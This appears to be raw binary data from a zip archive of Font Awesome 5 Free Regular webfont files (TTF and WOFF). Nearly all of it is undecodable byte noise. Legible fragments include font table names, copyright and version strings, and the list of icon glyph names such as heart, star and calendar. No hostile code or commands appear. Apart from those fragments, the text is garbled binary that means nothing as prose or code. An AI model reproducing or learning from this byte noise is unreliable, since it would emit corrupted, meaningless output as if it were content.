evbN8j, d߂ENr*D1scWEw𗓂x(۝wcf"f|j^#s/Ն殭6km29 1@4>w8zcݳ]L0|lf-.ϺfLz'-mbC^$<J{f׶FVuz@G6ϸwdQG9uD#KJǙeF/ZUbo+1j?e4ۏr-k`WCMNϦQ޲ckréN۵>Zvؖ3M2
wD]ɩ삮rd	Y,#0~GydQcJ̤ڃu"m@1&6zq>O$	W#>g(}',pbfKDN9ʚZgMsuTih/MdbA~H:{8D"Ӭ΀bKt]NcmckqHPlr@ ͺ,05"Ǝ:^{aO3L0[̰#{kMߛ51\Ћ2+D{G1kЀ_qp4Nj@KHǲ0=iQ tX9\4UGqe+xc?iX#}{nkC^/]`JnFK 1yWZv6-޷x_miMزAĆrP (F_a0a/gvyth+\ٛs[*lcgvZo3g	ܕFeu85FdpSGָZ5ʃJhw?纰ÉZpDwev&WX'^8>%s͚WqlASf̺ʾ]>DTsm= 2C	0o!S0q7i$ N0lwm<Gk\=j~OSUE.6)2Glߪ8.y@,3n{Ǝno:Eu^wKs[?BqYX- [:sn6U駜j`*u=Rds:tj$m2D@EÒy&RwL ̃LZ٣-*s䧜Ef&:TNۮ`eՙlt{@s_d+-|osXy5m:Ah (k#|5Eku8Rһ`HW1;aM !B"jËͰ'-{
:YH٠>M!&XvQ%ζsUsU-WAXub*͑$\5 ݸ/:&o'aߖm/=iz$~gZZu`
HӍ3sLa[+2JؖjG
P}+rj#KY}in< [>1Dĕ;<-u:Y!J67VӨo6|0SN^S2MKڎtjt
@mTPJRsdF^^K|I+ٖz7L6I,,Bl]'N5@nj&.yMIގ6yl"&\H'X0`1i11rf`9让پiǲ`'Ȟyf9%}s\K&`6U0;&q6~ww?栮Q_)S,=`5n#wRE+L+sY7ԛ\4EKE =KfXcHbg`Yuv邏cA1
P 2C;bXVE}{08~X?āgadM l8T.$ 61xtqS.RH`&0,?+}{*
R}GK\M,)w֙E 	bR`c@<8mG̵[3SO!Z/Eu2ҏi2OyʟeIp2.3t#3me̈́4rkerC ʦe׎sȾ\EOs ,1)Vcro
Rf$o5tгXHaB,$|VV.~ω_O=(̧mX+t-
	kD<sl#TuC@ZSdM٪g1뵣D\$F\Db;}۵pQ%:a:%l	Kig״l!߶ر=/G&v+,\Lʦ绳CΚdq3@řXߙa{K7\T]Wú9Ɯk=x.֧榛NfjCϻۼ	~khx1?a%q$jݟ0eVu+\7]zr+&'|q<-j&\X"1X Fmfz0C+tF}c0w]<Edˡޘ Ӛ/H؉8@bЊNcXRIkxv^{G;RSƳ8L&bWw$ΗqS+t̯qbNc`skx6ۇYs;\,c^b,8ڝW8w7ňc%3k؄K)_eKz:E]?0ď(#\<)N֛Ht*`_%2O6ح=Ɗldlq?Zʎ:1_4	f-$y?GYVՍJx6g^#6XnnrQGntdf+7?{Ħ+-gSM#8YF%-31lf@xPK     N\B0  0    webfonts/fa-regular-400.ttfnu [               PFFTMȔQ     GDEF *      OS/2A  X   `cmapǠ    gasp      glyfl  	   nhead9.R      6hhea5     $hmtx t    TlocaEˈ    6maxp    8    name660  w  [postiA  }@     J|_<      ٮ*    ٮ-                                                   @          Lf   GLf                            PfEd  . T      :                @                @        @          @     @@  @  @                     `                @          @                                                    @          @               @               @                @      @             @            @                                                                                                 *"$.>DYnpsu|3DFJNR\e
IM[]tz([Vgz  "$.>DWnpsu{3DFJMP[d
GMT]qy(XVgy|zwZYB81-(}zpf`USCmHg$






                                                                                                                                                                                                                                                                                                                                                                                                                                                     @ |  n*bH*Nbb	^	

:

:6ND >n8(fLD Ll.lDfZhDh  h !
!J!!"f"#N#$$j$$%%P&B&'
'P'''(((l()$))*N*+6+~+,J,--..f//0,01 122p2334:445 566Z677b     $  "/.676>64'&'.7$,$+u**u$O##O$UNOT$	**	W"##"W    1  "  /&?'&6?627/7j  jA	(	Ad>>d||&g	DD
g&b~~bBB     " * 2  %2#!"&=46322654&#"#"&#"6"&462&"264:7OO7344b3#99#3xTTxThP88P8O77O#33#TxTTx8P88P       2"&4264&"'&=4;2ΑΑuuuU C	Αuuu>0

          ' 3 ? G O W  2#!"&5463254#!"3%+"=4;25+"=4;25+"=4;2"&462"&462"&462`lj`pT\TT	uu       ( 8  276#"&#"+"&5&5466325#"&#"63232P,A+=C%gA?		')%gE;f9-4Lf9p
( S		           
   2'4634#!"7P 0ppTvT         # .  2#!"&5463254#!"362"&457676`l9""((xX ""0((xXP    A  * / 7  %76#!"&5463!2+!547&?62'7'&76 
 `Z
0+t:A+:g `
 r
Z+10:A
+:      +  2"&4264&"%//&?'&?676ΑΑuuu.>>	>>	>>	>>	Αuuu>>	>>	>>	>>          2"&4$"264/&?676ΑΑKuuu<			[			;	Αauuu			[	=	     8 @  2"&4264&"%+"&=4>7>54&#"/&7632"&462ΑΑuuu3.
				%@&?A""Αuuu 		
64""       @  # /  2"&54732654'6#".'&47>2267." /AA]A!-*[<oV*J%%%J[0A]AA.!aPa-O5PaaMCCMMC,A#     3 F  #"'&54?632632#"&'7"'632'67.27#"&'&4767z

-AY-Ap/54<oV&%J/54[*&%?-r?-$-O5)"!CM$aP)"!CM      # / ; G g o  7#"=4;27+"=4;2+"=4;2+"=4;2+"=4;2+"=4;27#!"&546;54;2354;232!3!2((`((`((`((`((((`0((00T((((((((((`4444*    &  2#"'#"&7>7&54264&"6?Ԗj/.AJ
5 Vzzz(
&zz.%8FV^^^B3*
             2#!"&546;25#"/#`	7	7@ 	7	7     H  " &  %2#!"&546;32%763!54+'#"7!Pp@P?@PM1 @0jh*@         / D T  %"&=46;2+"&=46;2#3"&=46;2#2#!"&546;27"&=46;2#J		0		=`0		P		0FF E # 6 M  %#"'#"&'&'#"&767&54632%3264&"67654&'32?&/
A<@g;B
,zV@hKeKA___x@1/R21R>'6,'#+7B^6,	Y<71B\BB.# /#$;(E,2         %&?'&6?63  jA	>d?7D	g&D~b   # A Q   &.7>&>6766&&7>2>7>&6&.7>76*
'>D88(%6*
'>D88(%5
,36<FD 
,*(32;" 
	)`
t7*6%(88D>&*6%(88D>&i+
 DF<63+
	!"F<63`)	
7t     @     , 8  2#!"&5463"!54#2=!37+"=4;2+"=4;2  HH`0**d((((        @    % -  %#!"&=4?>3!2!'5!$"&462"&4627	 	i

NNi M		ppM     2 U ]  2++"&++"&=46;2327167>322654&+4654#";2'>'>'4&"2"1$5."S
	@@			*2V,
 **=
	
61"
"(3($/$v,#$= &
        2 V ^  546;&546321;6;2+"'#"+"&'&7&'#"&7;;2675&'&'.#"#""2641"V2*			@	@	
S".5$"10[
	
=L 
,	"1$/$(3("
1"
& =&$#,
      3 U ]  46326+"&=4754'1&'.5463274&#""&#"3>=4.."264j1"'
"(3(
/$v,#$&= &
m"1'$5."S
	@		@			
*2V,
 L=
	
       1 S [  "&=#"&54>76716=&=46;2''26=6767=4&'#3263264&""1$/
(3("
1"
& =&$#,@1"V2*
			@@	
S".5$"10[
	
=L 
,      * 9 B  ++"&546;546;22=#"&=#"3%2=#"&=#"354/&+PPt`JTX
j0
~0@0>*`
X 
0@       + 3 ;  #!"&5463!2#3254/+"&=#"362"&4264&"NzN

*H44H4G"">`"PNd

h4H44HL""        2#!"&5463254#!"3Z`pT          2  2#!"&5463!32>567!5".'&'``#dd#`#FF# 0)N		N7

7      `   B  2#""&54653+"/&2#4767654&#"#.'&546		&		8(	N	PIg,0+ K54L +0,ep		&		(8++%%gIB25=1$05KJ60$1=%
2BGi    % 3 9  %#!".54767>54675462!&5414&"0"&53			H8%:!8,B\B4&V
	
C,:V,B&,C;d.BB.d%        # / K a }  754;2+"3"=4;2#+"=4;2"=4;2#!54;46;546;23232%354;23#+"&=#7#54+"#";;2=32=4(((t((L(@
X
p
X
p(p@
p
@((((T(4((|$${	(

(	CC_

0      + 7  %++"=#"=4;54;2327#!"&5463!24#!"3!2`X XX X``0T XX XX`T       2"&4264&"ΑΑuuuΑuuu          /  2"&4264&"6"&462"&462>"'&>2ΑΑuuu//!fΑuuuc\99'          0  2"&4264&"6"&46262"&42&'&".7ΑΑuuuso~)RΑuuuc-m1           +  2"&4264&"6"&46262"&42+"&463ΑΑuuus(



Αuuuc-}        @   ' 3 ? K W c o {      2#!"&54634#!"3!2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2  ```````b  n        '  2#!"&546;54;2354;225!30((*`4444p*        %.=46"&462264&"t	4Αuuue	ΑΑuuu      '  7"=4;2#7#!"&5463!24#!"3!2ll`0T  `T        #  2#!"&5463!%/&?676`<	[			;		`p`		[	=			    A  2 Y  &='.54767675467'".>7676#!"&546;2+"3!2=42;1+6(-$50I;"!0<*&>))
VT"( 6  )K-;(!9 h)A'%
+`	
	          %  6&?6764&"2"&4264&"\BB9ZΑΑuuu>B\Αuuu     
  &  732/&6%#!"&5463!24#!"3!2}ccK`0Tcc`T       
  &  %#"&?67#!"&5463!24#!"3!2Cccu`0Tcc`T       
  &  7546&#!"&5463!24#!"3!2cc`0T]cc`T          #!"&546;2'!#"&=#r.L h
^rLL 
h      ) , 5  %+"=4;22+"=43%#!"&546;2'3#"&=# TLh
TT<L 
h`      . T \  %#*#".#+"&=46;>7>3232>'2654&+4654.#+2;2'>4&"23&-E/@c
-3	$(Kh	
m&%@

!$*
 #	:/45'N)
9

G%&B"U      . 6 [  %+#".'.'#+"&=46;232>3:32264&"2>54&#6&'6&'6+"#322>54&52$$	3-0

@@	.G-88]b



@%&m"("454/:?	3,$h	
)"B&#6G
9    ( 8 @ H  %/"/&?'&4?'&6762767'7''77&2"&4264&"<G(+(G<<G(,(G5MM[44[MM[44[V==V=Q.!!.!+)G<<F)+)G<<G54[MM[44\MM=V==Vc!.!!.     &  "&463276"3267&5467&jj	%a>!"$h;VzzV0UT2*@Ԗ#(
>$?P9-2zz)$mU2T     
  &  /&?67#!"&5463!24#!"3!2cc`0T#ccE`T          "264$2"&42"&4SuuuΑΑB//B/uuuΑ/B//B         # / ; G Y e  54;2+"3"=4;2#"=4;2#3"=4;2#+"=4;2"=4;2#!54;463!232%354;23%((((X(t((L(@
P
p(p,((((`((((T(4((|$$

HCC          7 = D J Q  #!"&546;2'!#"&=##"''&76767&766>77"6467&'6&7r.L h


6'.$
3N-
x^rLL 
hD.0*["#          R  #!"&546;2'!#"&=#32+"'&/+"'.'&6;2476;21676r.L h



	

	
^rLL 
h&b		+	H		78	
`b		aa
          B  #!"&546;2'!#"&=#2+"'&'+"&?'&6;26763r.L h
#...		^rLL 
h=N7NN($         6 >  #!"&546;2'!#"&=#54;2*#+"73264&+r.L h
HE#	
0^rLL 
h%/c        ( 0  #!"&546;2'!#"&=#57676&2"&4r.L h
 ((X((^rLL 
h@((X(( 
       ! $ 1 @ L P  3#7#53#3#57#!"&546;23#"&=##5#7#"&?53322654."7#5  @    @ Lh
0 P 
-		@         &L 
h`W'a           / =  #!"&546;2'!#"&=#/#"&=46;7664'&>.r.L h
$$)
	^rLL 
h$8$Y

:         7  #!"&546;2'!#"&=#6/+"&=46;2r.L h
5hh^rLL 
hp4%h%     $ ' 0 < M  7#"/&?67#!"&546;23#"&=#7/&?6&?6/5&?99!Lh
	7		7!99!c66&L 
h`			O66        $ +  "&46227''64&"264''&"67&7gΑΑ/p/522/B//B5/p/52258ΑD5UB//B//p/5225/p/522      !  6#"/&='.77'762<
	p+) r%%;`l!|.;T0<2$-	         ' . 5  #"&'&676326767'7&'7'757/?'# ^a&'O ^a&'4_H:'G,4%=/@G<&
G@]+G'%e:@,O+b ^Mb *N
*/%L=4J/}45/J>J%?4I0==   	    @    + / ; G S _  2#!"&546;>32=#!7"=4;2#'3554;2+"754;2+"=4;2+"54;2+"(

!
+@`=lPxhhhhhh

!
  x``P((<     8 @  '&?63!"&54767>57"'675462'&5414&"&53z





>				.	|"&&%:!;B.&



0
	
*#D,B&7&/.B`%       4  2"&4264&"#"&54>32'&#"3276ΑΑuuu3)?=O$@(;&!$*$$
Αuuu)Q<'@%#	%"2         3 K  2#!"&5463254#!"37&546'&76&546'&76`lR@AR@=R@AR@> V6/.4"%6/.4"% 	    + / 3 7 ; O c g o  #32+"=!+"=4;#"=4;2!54;2'35!355#!5#'#"=!+32!543'2+"=#"=4;2'355#+HHH@H@ @   @T`8L@ HH HH@        @  44pppL    
  @ C G K O S g k     %#32+"=#+"=4;5#+"=4;5#"=4;2354;2+354;2'35355#5#354;5#"=#+325#%5#"=#32+"=#3235435#5#4HHXHHHXH      @ 8XHX4   HHHHHH             @XH@             %#!"&5463!27#!3546;T`LLP
hdT`Lh
         ( 4  2+#!"&546;54632=#"&=#"3%254#!"300*0@00*`4       % + 1  32#!"=4;467.5#"=43!2#!2654&"p2//22//2hKjKKjK?ss??ss?LllL`LllL        ) p  6+"&5<&4&/&=46>62654&+"&=4&+"&=4&+"&=4&#"/&=4&354?6$C	+b'8#I$@:H							a+q,(rd	!U"49#,)(r				()		t	)9U
d      Y  6+"/&676546>654&+"&=4&+"&=4&+"&=4&/.376u.
w!3 P4			

	
sO)7~!($%)!ф

L		
		
		
	&	w          ]  "&7.7#"&463'.>6#'32?6=4/&#"/&+";2+";2#" "(
X++^O8+1b"wFFw	b


			

		

 6 
#+<+	88857'%07@	;

			   @  A  %#5'&+"&546;7#"&=463!254/&#!";2+";2-d!4$r!/!&'v	rc$|H&!$40/!!!L@	'     ( i  7.7>'&67>767>2+"'&376=4?6&+"&?6."+"/.+"/./&5' /0 )  
	[|

&

*-*#5B82"i3 %k
	u`	
%qE2    ^ p    6+"/&676546266&;2?6=4&+"&=4&+".=4&+"&=4&'546;2+"&7546;2+"&754;2+"f!9%"m!'7'!-m				DL		K(#Tw7''J
w

wT

	

	#

#	

	R`		`	`		`		``  # ^  6+"/&7'&676'462654&+"&=4&+"&=4&+"/.;2?6j(%'758%	+<+#0			

;@7 #Fw"b1+8O^++XF

		

			

b	w      , 5  2"&4264&"+"/#+"&=46;2'254.+ΑΑuuu6+0 'Of(: Αuuu#ZTU3)!
@        ; C  %++"=#"=4;54;2327#!"&546;54;2354;232!3!2PLLLLp0((00TLLLL`4444*       + 3  7"=4;2#7#!"&546;54;2354;232!3!2||0((00Tx`4444*        ; C  %//&?'&?6767#!"&546;54;2354;232!3!28	66	66	66	660((00TI66	66	66	66`4444*        ' 7  2#!"&546;54;2354;225!3%/&?6760((*	K			,o		`4444p*Ɏ	K	-n			     @ ! % * /  2#"/#"&54>?6327673#0











	
5=?	Z
5=?:./,!/         *  2+#"=#"&54634&#!";?326&&}`&&			C	&&^T& & 			<2
	         /  2"&4264&"%+"&=46;2+"&=46;2ΑΑuuu(	0		0	p	0		0	Αuuu								           "&462264&"+"&=46;2Αuuu				'ΑΑuuux				      # + L f n  3#"&5#'#"'&/#+376;2 264&"6/&'&6?#"##36???5#'&+"6?6264&"y@:#;U			@v0Q			l	-	'9>*a!
%		-=TA7gn			@ 
 	L		 0
		W	;#>X
 
$I><3
S0
		         5 `  #!"&54767>254'&'"."#3!2'#".'&'&?6232>7676`(_dQ4/V 
7
7
	77	!K
	OB)
	%F
-

-
	,
,	     ' + 3 H  #32+32+#!"&5463!232!6"&462"&=463232632#@P4&&4&	''	 @(@(00(`&4&&4""   @    0 < H T  2#!"&5463!6"&462"&=463232632#7"=4;2#'"=4;2#'"=4;2#  4&&4&	''	>ppppp`p`&4&&4""@@@         " 4  2"&4264&"&2"&427&'#"'%654&"6322632P88P8L((7ΑΑ8.-%%uu%)@%$%@X8P88PX((ԑΑ0&

'$4@SuuS@44

        ' <  2#!"&5463!"&46;2#"&462"&=463232632#P `		`		4&&4&	''	`0``				&4&&4""      @  $ 0 < H P  2#!"&5463!3&54632326327"=4;2#'"=4;2#'"=4;2#"&462  !''9ppppp4&&4&`p ""P@@`&4&&4         2#!"&54635!3!2```v          !"&463!2@          &  2+#!"&546;54635!%!32000@00`@0    %/&//+"&=/&4?5/.?&/&?'.?>7'&/&6?'&?6'&6?65'&?6546;276?>76/76'	H;		:H	''"PHHP"''	H:		:H	('"PHHP"]"Q*T;.		.<T*Q#	**	"Q*T;.		.<T*Q#	**	      0 8 < H  %"=4;2#2+#!"&5#"&=46;7>;2'3'&+"!7"=4;2#				R"d"^L P		P		9	9`P0     @  $ 4 < G  %#!"&546;#"3!2=!"3!2=452#!"&5463"&4627676!
tZtx""1((hH  0
P0  _""((hHP       1  2#!"&546;462&"2644++"=#"3!2PP&4&6x**`&&lT$$      "  2"&4264&"74;232/&6;ΑΑuuu(CddCΑuuutdd      "  6462"$4&"27+/&?632Α/uuu-tddtYΑΑuuu(CddC       "   "&462264&"54;546&=#"Αuuu-tddt'ΑΑuuu(CddC     "  "&462"264#"=#"&?6+gΑΑuuu(CddC8Α/uuutddt  C      ! $  2"'&?63#3%3'#37'377#ddM94D44?D4dxD3aax4U0``````        % 5 E   2"&454+54+"327#";22#!"&54635"&5!#2!46P88P8@0%`%%%0B\BB\fX
7 @%%%%       7  2#!"&54634#!"3!2'//&?'&?676`ll==			==			==			==		`vT==			==			==			==		       + >  62"&462"&462"&4&2#"'#"&7>7&54264&"6?Ԗj/.AJ
5 Vzzz(
&zz.%8FV^^^B3*
         ' 9  2"&4264&"$"'&>276&"&46272/&"&7>ΑΑuuu6//!f!%
&	Αuuu$99''A)				
          3 H  2"&4264&"62&'&".?"&547'.>6"&5"'&>?6ΑΑuuuj">'	

P	

	P
Αuuu)q	

@		       + G O  2"&4264&"6"/"&4?'&4627626"/"&4?'&462762"&4ΑΑuuu4&&4&ΑuuukL&4&&4   	       ' / 7 ? K  2"&4264&"$2"&4264&"62"&4&"&462264&"62"&42+"&463ΑΑuuuB//B/<((&X/B//B5((&



Αuuu/B//BQ((,B//B/((,          -  2"&4264&"6"&46:"&42'&"&76ΑΑuuuN<=	141	Αuuu]"		          / 6 = A E I M T [  2"&4264&"6"&462"&4622+"&=4635#375#"5#75#5#75#5#326=4&+ΑΑuuu(		h000p000h(		Αuuuc#  `	(	((((		       ' /  2"&4264&"%6#".'&62&"&462"&462ΑΑuuu2M)6()Αuuu"
".&
N        # + 9  7"'&'6762"'&'6762&2"&4264&"%6"&'&62qΑΑuuu2MRM)		""		""		""		""ڑΑuuu"
".."
       4 E  2"&4264&"%6#".'&62'&7>32/&"7&7>2/&"ΑΑuuu2M)6()#	&	#&#	&	Αuuu"
".&
V)))    
  + E Z   "&5476".'&62766/&"'&7>27"&4632&#"2654'2$"'&7>32/,..6'))M`	&	#&#dΑgC:2:Suuu&	#	 "EE%
".)),%(gΑ" uuuS!)       4 < D  %6"&'&62/.7>7>7/&67676&2"&4264&"bMRM)pFF	
ΑΑuuu
".."
>FDF	
Αuuu       , :  2"&4264&"%6#".'&62.?'&63'&4?6ΑΑuuu2M)6()!!PPPP	!!Αuuu"
".&
/((0000((    / ; J Y h  76"&4767&67632&#"%67#"'67327>'&76762+&/.?"'&?6367>'&676u/")7Hg<5/6S:.{$9Ig30)-S:1C/"
	
4

Z4	

4

&.:T&@R"/6D6I;-E9I;0TR"/s
Z	
4Z	
4p/%T:        6 P  2"&4264&"%6"&'&62'7'&6?62/&%/&?'&6?62ΑΑuuu2MRM)#
##
Αuuu"
".."
G#		#N	##	      % 5 C T i  76"&476"'&'&6"&'6726%&>2&.""&'&62766/&"'&7>2&"'&7>32/u/"M"/Rl#l~l#_r_'Em~mE&ppRM))	&	#&#&	#	R"//"RP 2;;2 1;;>f;;f?	H``."
"|))")       ; C K  2"&45'&"/.32>>54&"&=&'&6276&2"&462"&4ΑΑ8%1;uu;1))Α,		+'_9SuuS9_,
,      ; H U  2"&45'&"/.32>>54&"&=&'&6276/&4?&?'&6ΑΑ8%1;uu;1))!!	PPP	!!Α,		+'_9SuuS9_,
,((0000((         ! ) 1 G e  2/&"&7>2"&4264&"62"&4&2"&45'&"/.32>>54&"&=&'&6276
&
%B//B/<((&ΑΑ8%1;uu;1))
					4/B//BQ((,Α,		+'_9SuuS9_,
,       % - 5   2/&"&76"&4626"&'&622"&4264&"4(%
&
ZMRM)ΑΑuuu						$T
".."
6Αuuu     ) 1 9 A  2"&4#"'&?64/&4?64/&762"&4264&"$2"&4##)ΑΑuuuq				%Αuuu        # E U  2/&"&7>&2"&4264&"%#"'&?64/&4?64/&7662/&"&76#
&	ΑΑuuu ##)&#
&	()Αuuu				)    ! 4 < O l  %#"'&?64/&4?64/&7637&"&7>32'&462"/&>7676#"&4632&#&'654&"320##)F&

%ZS
/4ggg
uuuS-					L

		!	S	1(Αg., Suuu           -  2"&4 64&"6"&462"&4622+"&'&63ΑΑKuuuuE..EΑuuuuS	-<<-	        / =  2"&4 64&"2/&"&76&7>2/&"2+"&'&63ΑΑKuuuu&#
&	#&#	&E..EΑuuuu0)#))M	-<<-	         ) 7  2"&4 64&"/&4?6&?'&62+"&'&63ΑΑKuuuu!PP	!!PE..EΑuuuu(00b((0R	-<<-	      ! ) 7  2"&4 64&"2/&"&7>"&4622+"&'&63ΑΑKuuuu
&	lE..EΑuuuu$
				2S	-<<-	         2"&4264&"62"&462"&4ΑΑuuukΑuuu         ) 1 C O  2"&4264&"$2"&42654'"&547&"&4622654'"&5472+"&463ΑΑuuu<**<*7"@*<**<F"



Αuuu*<**<F

/<**<*H

      ! 3 C K  2"&4654&"5462275462&/&"&7>3262/&"&762"&4ΑΑ8uu8-f-	&
%p(%
&
>.!!.!Α:PSuuSP:r



2						
*				D&4&&4        & . 9  2"&4264&"72&'&#"&46&"&46262"&46"&54ΑΑuuu<&&
As$"Αuuu#.@-P1        4 E  2"&4264&"%>"'&>2''&7>32/&"62/&"'&76ΑΑuuu//!f	#	&&#	&	Αuuu99')%)           '  2"&4264&"62"&46"&46:"&4ΑΑuuu4&&4&Αuuu;&4&&4{         ) 8  2"&4264&"$/&4?&?'&62'&".76ΑΑuuuC!!	PPP	!!PHC
#r#Αuuu((0030((0J6'	
'   V         6                       "       ^       &       !      
 ,              1       U                       	   4    	  6 Q  	     	  D   	  6&  	  Lz  	  0  	 
 X:  	  .  	  &	  	  E  	  6]  	  &  	   C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  R e g u l a r  Regular  F o n t   A w e s o m e   5   F r e e   R e g u l a r - 5 . 1 1 . 2  Font Awesome 5 Free Regular-5.11.2  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 F r e e - R e g u l a r  FontAwesome5Free-Regular  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  R e g u l a r  Regular  F o n t   A w e s o m e   5   F r e e   R e g u l a r  Font Awesome 5 Free Regular  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  R e g u l a r  Regular                                   	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJ KLMNOPQRSTUVW XYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~heartstaruserclocklist-altflagbookmarkimageedittimes-circlecheck-circlequestion-circleeye	eye-slashcalendar-altcommentfolderfolder-open	chart-barcomments	star-halflemoncredit-cardhddhand-point-righthand-point-lefthand-point-uphand-point-downcopysavesquareenvelope	lightbulbbellhospitalplus-squarecirclesmilefrownmehkeyboardcalendarplay-circleminus-squarecheck-squareshare-squarecompasscaret-square-downcaret-square-upcaret-square-rightfilefile-alt	thumbs-upthumbs-downsunmooncaret-square-left
dot-circlebuildingfile-pdf	file-word
file-excelfile-powerpoint
file-imagefile-archive
file-audio
file-video	file-code	life-ringpaper-planefutbol	newspaper
bell-slashclosed-captioningobject-groupobject-ungroupsticky-noteclone	hourglass	hand-rock
hand-paperhand-scissorshand-lizard
hand-spockhand-pointer
hand-peacecalendar-pluscalendar-minuscalendar-timescalendar-checkmapcomment-altpause-circlestop-circle	handshakeenvelope-openaddress-bookaddress-carduser-circleid-badgeid-cardwindow-maximizewindow-minimizewindow-restore	snowflake	trash-altimages	clipboardarrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upgemmoney-bill-altwindow-closecomment-dots
smile-winkangrydizzyflushed
frown-opengrimacegringrin-alt	grin-beamgrin-beam-sweatgrin-heartsgrin-squintgrin-squint-tears
grin-stars
grin-tearsgrin-tonguegrin-tongue-squintgrin-tongue-wink	grin-winkkiss	kiss-beamkiss-wink-heartlaugh
laugh-beamlaugh-squint
laugh-wink	meh-blankmeh-rolling-eyessad-crysad-tear
smile-beamsurprisetired                                  k%    ٮ*    ٮ-PK     N\FA  A    webfonts/fa-regular-400.woffnu [        wOFF     A     0J|                    FFTM  0      ȔQGDEF  L       * OS/2  l   O   `Acmap      Ǡgasp         glyf    5F  nlhead  8   3   69.Rhhea  9      $5hmtx  9<     T tloca  9  6  6Eˈmaxp  ;$         name  ;D    [660post  =X  I  iAxc```d ٪?ZPZ M7                        xc`a|8ч1Jedha``b`efFHsMah04 ՀZ1.R
  xKq>n
ϳ3c)<HP]:u0ݶC0*Ƞ,a.iA!T*^$,(|pfIAkf/scL
q)4Ng䚕x	B^비(Wq>ɵ\|q7s+?>_\
dF*dR/WM奼QiQWhFИ^XS}E~ԏd[r6f/6nm}1βXOͳy֥XKeD吜ڝeXwcZ3keցu_ƞ7l}JiJKt5MNtQ-ŨS:ZCS>8#8؀1UXw0L[x>$nA##E"Hܻz7NSr~PɀCN0샿~3S    x}	$Gu`FyUVeUVfuuuuwW3}LϩjiZnIF	!VԆAAlVY1lˀ~<֞X,TȬa33"##_#?;\P i4ꍺ,"^-8@_M~oЎ%%ıdn k&O[)ccʥk21<X5E8nϠ/p1.D]]Xa1MICn5 wL	wneDMNwq񽧜B_0N?q}XFφg?zwXw޽q\;ƕ9._LaU땲];j!=zPmܭc	n%5jJVؑL?ʝ˳˳5V"aBx
U+ɇfiN+0ǅ5^IE
*}`>_+)}B}qz[EDԸ
dϡux W*.
}َ.5Ge8A	*+52. -19(UzDOcܼctY4u<<
<11}wT`/r#,FIBZwȱZR'v텽]
	%q/O?.yGrd0=3	59nE!I#M 3A&r*^,րUBEHŋ
7!lΜ$m 5޳Byvؘfǲ52NQF/ovd'#<,Dkk_0U(L8(-swÜN̚0\w J)#3]6Ɏ`#" jD:z"%m&K7rUDRxܼodar:%רDs^͟|º0͙v37Ͽ<aӎ
iD.S'=9+!R&<C\Z8.d^QS{xՕۊr{dYn,cH'E(0h4i]$	HSê.ˊ0L]!JB®L7q㤌%B$EBK𸤇)$JzF'K&p4~
pzZKWf`ܪEh@`QjzvI nS?|cW݀JpT(HҎnY|;/G=rd,'ml%_`*# V);dR!E((p1\Bᰛ w.IbQe,YI>Oת.p!?|ᩱv#Eux]yfGN!8Q|tifZZjtTC]-m>5jnֹlf$Y|~DGU}E"%(_JT-t;QߵNGUuJ'X1o?OF7o`5`PKZ䷞|Wt:>܃#*A)u(SCoóNߛ|ʘ +[?r_Q{.kJZJXm4/_%oN~`uDYݱSGaփGl5҄%ecyTk.2Q#[nȥؚ^極5Na}
۵<<.g+=eg@6zI,WCw0}Ю_gvRw( Zf_,zd?IsG $*ł1u0L($Q;T!D+A܅4-ѐw'KcAcnOPWă'zm}-%E$f5kbE1h(/o칹>\7ߘRcz(d~dTƢf@%56=J1>KV<JMwz,u!z6 7~9^D]='HqLTX6)N 7
h"WƠOMAt$1- ΎeNf>`_JHRplR:*
`~אg궜ݷXDڦׅUa!|bBI1I'2h:|@nG`*1;}	x%Qp-X`	Yd̾Y^@Uiqw͇v ~NJ/Hݣ:Z6)WccS>Aȹy6
ms0~iZD-.Fjh3ZP\paGEE}]&DG[zW(HMue*'{ޏ*Ok\qCO8^:/ڒ8H&U8MвW]Nf&$Eզ㪠A㡱2FNjHҬԠ96."Ha33t534RMtSEsaDɄ5尝/VxځډOp7s\"J*a{Q-5#G(бvF)>ZvH99Bq=,*fTM\TY"sRԸVVtu!;l,M
I@igf4=70Pc(3#Y(Ĝͬ5A$5#kT0QN./ 4(EF$Qu{E-jE-?][%doH܌G5`@8(>,dpׅw#U& 
e\_6[	.b (A3`	:$JdeR#frrc u@4Ӛ8u8/3~n|ol $2Y7]Ԫy#a-{F0ī05O]/|ð?Qd0xͯUC=IȒ'uUgVvF+OPim+czb[kkb^P19X^\yw#|#珞RCV^K'\XmeLc,Hxkh䭷g)+Wʋ|tQL	 B쩄Nc$Neh={01v-JȡzAGBl5HHHF3Vـ"5(B81;¨EG4;%/YbrTb'aR#Cx/IKx-:mql㒘'$/N_9,JCWK ??\:
?; <S0 D h;$
;)p0#X\SiUߙ |? S=	U9(*;OhQ:A)L2w
MوNy~#Cܭ{<jT:dK;4}7mFJ9lg
5W)L.h @ktsYL-Q <wnYb5K/c잾3Vعt6EmDWF{u}/%F+bvu6AR(5<s.q[ܚ2ZO)NYr'
~B?yӂ:ԅimu}9M"z{aݦZ!v;EV?`;vqc[AO|;~{c0(A /Ue:`'e\b3`of7cDq&`$;3C@)0[d/l=SV
,ƄakxnmLmwqnȽe܇#|\"ֳյ/V'>4	fJ%ԼњW^ۦwM~sk^ߣzo]?EV,ȓ0Bc)FtnEǘ@|i5T3NQ'z#O/(!-A䵢P^2b'4s\'wwtR7AśA.G<E݇e6|WVzM!臝 c
l~73eڅ&.z:oGhCcc
